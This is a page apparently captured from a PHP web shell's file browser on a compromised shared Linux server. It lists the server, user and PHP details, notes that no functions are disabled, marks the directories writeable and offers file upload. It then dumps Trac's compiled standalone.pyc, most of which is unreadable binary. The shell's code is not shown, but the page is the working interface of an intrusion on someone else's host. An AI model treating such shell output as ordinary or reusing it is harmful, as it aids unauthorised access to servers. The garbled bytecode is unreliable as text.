https://t.me/RX1948
Server : Apache
System : Linux iad1-shared-b8-43 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
User : dh_edsupp ( 6597262)
PHP Version : 8.2.26
Disable Function : NONE
Directory :  /lib/python3/dist-packages/trac/web/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //lib/python3/dist-packages/trac/web/__pycache__/standalone.cpython-310.pyc
o

�k�`z?�@s8ddlZddlZddlZddlZddlZddlZddlZddlZddlm	Z	ddl
mZddl
mZmZddlmZddlmZmZddlmZddlmZmZGd	d
�d
e�ZGdd�de�ZGd
d�de�ZGdd�de	e�ZGdd�de�ZGdd�de�Z ddd�Z!dd�Z"e#dkr�e�$de�e"�dSdS)�N)�ThreadingMixIn)�__version__)�
autoreload�daemon��printerr)�BasicAuthentication�DigestAuthentication)�dispatch_request)�
WSGIServer�WSGIRequestHandlerc@seZdZddd�Zdd�ZdS)�AuthenticationMiddlewareNcCs*||_||_||_|rd|_dSd|_dS)Nr�)�application�auths�single_env_name�part)�selfrrr�r�5/usr/lib/python3/dist-packages/trac/web/standalone.py�__init__*s

z!AuthenticationMiddleware.__init__cCs�|�dd�}ttd|�d���}t|�|jkrB||jdkrB|jp$|d}|rB|j�||j�d��}|rB|�||�}|s>gS||d<|�	||�S)N�	PATH_INFO��/�loginr�*�REMOTE_USER)
�get�list�filter�split�lenrrr�do_authr)r�environ�start_response�	path_info�
path_parts�env_name�auth�remote_userrrr�__call__3sz!AuthenticationMiddleware.__call__�N��__name__�
__module__�__qualname__rr*rrrrr
(s
	r
c@�eZdZdd�Zdd�ZdS)�BasePathMiddlewarecCsd|�d�|_||_dS)Nr)�strip�	base_pathr)rrr3rrrrDs
zBasePathMiddleware.__init__cCs@|d|�dd�}|t|j�d�|d<|j|d<|�||�S)N�SCRIPT_NAMErr)rr!r3r)rr#r$�pathrrrr*Hs
zBasePathMiddleware.__call__Nr,rrrrr1Bsr1c@r0)�TracEnvironMiddlewarecCsF||_ddi|_|r||jd<dS|r|d|jd<dS||jd<dS)Nz
trac.env_pathztrac.env_parent_dirrztrac.env_paths)rr#)rr�env_parent_dir�	env_paths�
single_envrrrrQs
zTracEnvironMiddleware.__init__cCs,|j��D]
\}}|�||�q|�||�Sr+)r#�items�
setdefaultr)rr#r$�k�vrrrr*[szTracEnvironMiddleware.__call__Nr,rrrrr6Os
r6c@seZdZdZ	ddd�ZdS)�TracHTTPServerTFcCs&ttf}tj||||t|�d�dS)N)�request_handler)�TracHTTPRequestHandler�TracHTTP11RequestHandlerrr�bool)r�server_addressrr7r8�use_http_11�request_handlersrrrrds


�zTracHTTPServer.__init__N)F)r-r.r/�daemon_threadsrrrrrr>as�r>c@seZdZdeZdd�ZdS)r@ztracd/cCs|jdd�dS)N�r)�client_address�rrrr�address_stringosz%TracHTTPRequestHandler.address_stringN)r-r.r/�VERSION�server_versionrJrrrrr@ksr@c@seZdZdZdS)rAzHTTP/1.1N)r-r.r/�protocol_versionrrrrrAtsrAc
Cs�t��}Gdd�dtj�}Gdd�dtj�}|jdddtd�|jd	|d
ddd
�|��}|jdd|d
ddd�|jddddd�|��}|jddidd|tdd�|jdidd|td d�|jd!d"td#d$�|jd%d&d'd(d)�|jd*d+d,d-d.�|jd/d0d1�|jd2d3d1�|jd4d5dd6d�|jd7d'd8d)�|��}|jd9d:d;d<d=�|jd>dd
d?d@�t	j
dAk�r	GdBdC�dCtj�}GdDdE�dEtj�}GdFdG�dGtj�}|��}|jdHdIddJd�|jdKdLddMd�|jdN|dOd�|jdP|dQdRdSdT�|jdU|dVd�|jdW|dXd�n	|jdHdIddJd�|jdYdddZ�|�|�}|j
�s,|j�s,|�d[�|j�r=t|j�d\k�r=|�d]�|jd^k�rL|j�sL|�d_�|jdu�r^d`dadbdcddd,�|j|_|S)eNc�(eZdZd�fdd�	Zddd�Z�ZS)zparse_args.<locals>._AuthActionNcs(|�d�|_t�j|||fi|��dS)N�cls)�poprO�superr�r�option_strings�dest�nargs�kwargs��	__class__rrr}s
�z(parse_args.<locals>._AuthAction.__init__cSs�|�d�}t|�dkrt�|d��|\}}}tj�|�}	tj�|	�s*t�|d|��t||j	�}
||
vr<t
d|�dS|
�||�|	|�i�t
||j	|
�dS)N�,�zIncorrect number of parameters�Path does not exist: '%s'z8Ignoring duplicate authentication option for project: %s)r r!�argparse�
ArgumentError�osr5�abspath�exists�getattrrTr�updaterO�setattr)r�parser�	namespace�values�
option_string�infor'�filename�realm�filepathrrrrr*�s(
�
��
�z(parse_args.<locals>._AuthAction.__call__r+�r-r.r/rr*�
__classcell__rrrWr�_AuthAction{�rncrN)zparse_args.<locals>._PathActionNcs*|�dd�|_t�j|||fi|��dS)N�
must_existF)rPrprQrrRrWrrr�s
�z(parse_args.<locals>._PathAction.__init__csD�fdd��t|t�r�fdd�|D�}n�|�}t|�j|�dS)Ncs2tj�|�}�jrtj�|�st��d|��|S)Nr[)r^r5r_rpr`r\r])r5r_rIrr�
to_abspath�s��z<parse_args.<locals>._PathAction.__call__.<locals>.to_abspathcsg|]}�|��qSrr)�.0�paths)rqrr�
<listcomp>�sz<parse_args.<locals>._PathAction.__call__.<locals>.<listcomp>)�
isinstancerrcrT)rrdrerfrgrsr)rrqrr*�s

z(parse_args.<locals>._PathAction.__call__r+rlrrrWr�_PathAction�rorvz	--version�versionz%%(prog)s %s)�actionrw�envsTrz"path of the project environment(s))rxrprU�helpz-ez--env-parent-dir�	PARENTDIRz,parent directory of the project environments)rxrp�metavarrzz-sz--single-env�
store_truez4only serve a single project without the project list)rxrzz-az--auth�
DIGESTAUTHrz$[projectdir],[htdigest_file],[realm])�defaultr|rTrxrOrzz--basic-auth�	BASICAUTHz$[projectdir],[htpasswd_file],[realm]z-pz--portzthe port number to bind to)�typerzz-bz
--hostnamerz&the host name or IP address to bind to)rrzz
--protocol�http)r��https�scgi�ajp�fcgiz#the server protocol (default: http))r�choicesrzz
--certfilezPEM certificate file for HTTPS)rzz	--keyfilezPEM key file for HTTPSz-qz	--unquotez=unquote PATH_INFO (may be needed when using the ajp protocol)z--base-pathz/the initial portion of the request URL's "path"z--http10�store_false�http11z)use HTTP/1.0 protocol instead of HTTP/1.1)rxrTrzz--http11zuse HTTP/1.1 protocol (default))rxrrz�posixc@�eZdZddd�ZdS)z parse_args.<locals>._GroupActionNcS�lddl}zt|�}Wn"ty,z	|�|�d}Wnty)t�|d|��wYnwt||j|�dS)NrrGzgroup not found: %r)	�grp�int�
ValueError�getgrnam�KeyErrorr\r]rcrT)rrdrerfrgr��valuerrrr*������z)parse_args.<locals>._GroupAction.__call__r+�r-r.r/r*rrrr�_GroupAction��r�c@r�)zparse_args.<locals>._UserActionNcSr�)NrrGzuser not found: %r)	�pwdr�r��getpwnamr�r\r]rcrT)rrdrerfrgr�r�rrrr*�r�z(parse_args.<locals>._UserAction.__call__r+r�rrrr�_UserAction�r�r�c@s$eZdZejedd�Zddd�ZdS)z%parse_args.<locals>._OctalValueAction�)�baseNcSs@z|�|�}Wntyt�|d|��wt||j|�dS)NzInvalid octal umask value: %r)�octalr�r\r]rcrT)rrdrerfrgr�rrrr*�s��z.parse_args.<locals>._OctalValueAction.__call__r+)r-r.r/�	functools�partialr�r�r*rrrr�_OctalValueAction�sr�z-rz
--auto-reloadz/restart automatically when sources are modifiedz-dz--daemonizez!run in the background as a daemonz	--pidfilez"file to write pid when daemonizingz--umask��MASKzRwhen daemonizing, file mode creation mask to use, in octal notation (default: 022))rxrr|rzz--groupzthe group to run asz--userzthe user to run asF)�	daemonize�user�groupzUeither the --env-parent-dir (-e) option or at least one environment must be specifiedrzJthe --single-env (-s) option cannot be used with more than one environmentr�z?the --certfile option is required when using the https protocol�Pi�i�iIi@)r\�ArgumentParser�Action�add_argumentrK�add_mutually_exclusive_groupr	rr�r^�name�set_defaults�
parse_argsr7ry�errorr9r!�protocol�certfile�port)�argsrdrnrv�parser_groupr�r�r�rrrr�xs��
�
�
�
��
�
��
��
�
�
�
�����
�



��r�c
s|t��tt�j�j�j���jr*�jr$tj�	�jd�}t
��j|��nt
��j���j�d���r7t
�����j�jf��jdvrL����fdd�}n
�jdvrY���fdd�}z9�jrgtj�jd�jd	��jdurrt��j��jdur}t��j��jr�d
d�}t�||�WdS|�WdSty�}ztd|jj|f�t �!d
�WYd}~dSd}~wt"y�YdSw)Nrr)r�r�c
s��\}}|r
|dkrd|�j|�f}n	d�j||�f}zt���j�j�jd�}Wn%tjyP}ztd|�td|j�t	�
d�WYd}~nd}~wwtdt���td	|��jrftd
��jdkrxt
j|jd�j�jd
�|_|��dS)Nz0.0.0.0z'0.0.0.0:%s view at %s://127.0.0.1:%s/%sz
%s://%s:%s/%s)rDz Error starting Trac server on %sz
[Errno %s] %srzServer starting in PID %s.z
Serving on %szUsing HTTP/1.1 protocol versionr�T)�server_sider��keyfile)r�r>r7ryr��socketr��printr��sys�exitr^�getpid�ssl�wrap_socketr�r��
serve_forever)�addrr��loc�httpd�e�r�r3rC�wsgi_apprr�serveBs6�
���

�zmain.<locals>.serve)r�r�r�cs�d�j}zt�|�j}Wnty"td�j�t�d�Ynw�}�jr2ddl	m
}||�}||�d���}t�|rCd�dSd�dS)Nzflup.server.%sz1Install the flup package to use the '%s' protocolrr)�FlupMiddleware)�bindAddress�*)r��	importlib�
import_moduler�ImportErrorrr�r��unquote�trac.web.fcgi_frontendr��run)�module�
server_cls�flup_appr��ret)r�rCr�rrr�]s
���tracd)�pidfile�progname�umaskcSstd|�dS)Nz(Detected modification of %s, restarting.r)�filerrr�modification_callbackvsz#main.<locals>.modification_callbackz%s: %sr)#r�r6r
r7ryr9rr^r5�basenamer
r3r2r1�hostnamer�r�r�rr�r�r��setgidr��setuid�auto_reloadr�main�OSErrorrrXr-r�r��KeyboardInterrupt)�project_namer�r�r�rr�rr�0sN��



�

��r��__main__zTrac==%sr+)%r\r�r�r^�
pkg_resourcesr�r�r��socketserverr�tracrrK�	trac.utilrr�trac.util.textr�
trac.web.authrr	�
trac.web.mainr
�
trac.web.wsgirr�objectr
r1r6r>r@rAr�r�r-�requirerrrr�<module>s8

	
9S
�

https://t.me/RX1948 - 2025